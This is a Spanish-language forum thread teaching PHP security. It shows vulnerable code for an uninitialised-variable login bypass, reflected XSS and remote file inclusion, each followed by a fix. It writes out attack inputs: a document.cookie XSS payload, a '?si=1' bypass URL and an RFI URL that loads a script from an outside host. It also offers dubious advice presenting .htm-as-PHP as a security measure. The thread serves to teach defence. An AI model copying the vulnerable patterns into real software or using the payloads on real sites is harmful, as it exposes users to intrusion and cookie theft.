Seguridad en PHP

(1/2) > >>

-Riven-Ward-:
En este post les hablaré un poco de la Seguridad en PHP, lo cual es esencial para que tu web dure un poco xD.

Partimos con el mal uso de variables.

SIEMPRE, SIEMPRE tienes que poner las variables en 0 (false). Imagina que tienes un password "escondido" en una web PHP, el cual si la variable $si puesta en 1 (true) (se pone a true al poner la contraseña correcta, por ejemplo). Entonces, luego vé si tiene $si a true. Si lo está, muestra el password. Puesto en código sería:

seg.php

Código:

<?php
if (isset ($entrar)) {
if ($pass == "1234") {
$si = 1;
}
else {
echo "No!";
}
}
else {
?>
<form action="<?=$PHP_SELF?>">
<input type="text" name="pass"><br><br>
<input type="submit" name="entrar">
</form>
<?php
}
if ($si) {
echo "Password Ultrahipermegasúper secreto";
}
?>

Ahí ya una falta. La de la variable $si (como ya lo había dicho). Y podríamos saltarnos toda esa "seguridad" con la siguiente URL: seg.php?si=1.

La manera, que es muy simple, sería declarar, antes de todo, la variable $si como 0 (false). Así:

Código:

<?php
$si = 0;
if (isset ($entrar)) {
if ($pass == "1234") {
$si = 1;
}
else {
echo "No!";
}
}
else {
?>
<form action="<?=$PHP_SELF?>">
<input type="text" name="pass"><br><br>
<input type="submit" name="entrar">
</form>
<?php
}
if ($si) {
echo "Password Ultrahipermegasúper secreto";
}
?>
.

Otra falta de seguridad, que también tiene que ver con variables, es con los ataques XSS. Esos que te ponen en la variable (que se hace mediante un input, o textarea) es, por ejemplo, un JS que tira una alerta con las cookies del usuario (eso es inofensivo, pero se pueden hacer otras cosas que si perjudican).

Por ejemplo, una página que pide el nombre del usuario para saludarlo:

Código:

<?php
if ($saludar) {
echo "Hola, ".$nombre;
}
else {
?>
<form action="<?=$PHP_SELF?>" method="post">
<input type="text" name="nombre"><br><br>
<input type="submit" name="saludar">
</form>
<?php
}
?>

En esa página, pon en el input "<script>alert(document.cookie)</script>" (seguramente no te salga nada, porque no hay cookies en esa página xD).

El resultado sería:

Citar

Hola,

Y te saltaría la alerta.

Lo solucionas con la función htmlspecialchars() o la función htmlentities(), que limpian las variables de código HTML:

Código:

<?php
if ($saludar) {
$nombre = htmlspecialchars ($nombre); //Limpiando...
$nombre = htmlentities ($nombre); //Limpiando...
echo "Hola, ".$nombre;
}
else {
?>
<form action="<?=$PHP_SELF?>" method="post">
<input type="text" name="nombre"><br><br>
<input type="submit" name="saludar">
</form>
<?php
}
?>

Y el resultado sería:

Citar

Hola, &lt;script&gt;alert(document.cookie)&lt;/script&gt;

Una última forma de tener seguridad en la web, por mientras hago mas que me estoy quedando sin tiempo, sería, tratar a un .htm como un .php, tal y como lo hace este foro.

Abres el .htaccess, y pones la siguiente línea:

Código:

AddType application/x-httpd-php .htm

Después de eso, cambias todos (o los que quieras) .php's a .htm, y se verán tal y como si fueran un .php. :).

Fin por ahora.

Salu2!

PD: Pequeñas ideas de php.net

The Ghost:
Quizas algunos ya lo conocen, pero los que no, pues les puede servir.
PHP Security Consortium, según tengo entendido es un sitio nuevo donde hay interesantes articulos acerca de la seguridad en el lenguaje PHP.
Ojo la web está en inglés, pero fácil de entender.

En fin, buen provecho con la lectura  ;)

http://phpsec.org/

Saludos
The Ghost

eLank0:
He aquí un buen paper en castellano sobre como hacer más seguras las sessiones en PHP:

http://www.php-hispano.net/archivos/Articulos/22/1/Haciendo-seguras-las-sessiones-PHP1.html

Salu2!  :o

p0w3r f1y:
Creo que aquí tampoco sobra hablar sobre el conocido fallo de programación RFI (Remote File Inclusion):
Pongo un ejemplo, una en la que se accede a las secciones con un include (index.php?destino=...):
Código:

<?
include($destino.'.php'); //podría ser también .htm, sin exension...
?>

Con ese código, cualquiera podría ejecutar un script en esa página, solo tendría que poner lo siguiente:
Código:

index.php?destino=Http://web.com/script
(el script tendría que tener, en este caso, extension .php)
Y dependiendo de la seguridad de la web, con el script podría desde ver un listado de los archivos, hasta averiguar los datos para entrar en la base de datos...
Para solucionarlo, hay muchas formas, entre otras, no usar includes con variables o poner en Off la propiedad allow_url_fopen en el archivo php.ini.
Espero que sirva de algo esta aportación :).
Salu2.

+ enrique ZP:
Tambien podemos encontrar un buen articulo de seguridad php en http://www.securityfocus.com/infocus/1706

Hasta Pronto ;)

Navegación

[0] Índice de Mensajes

[#] Página Siguiente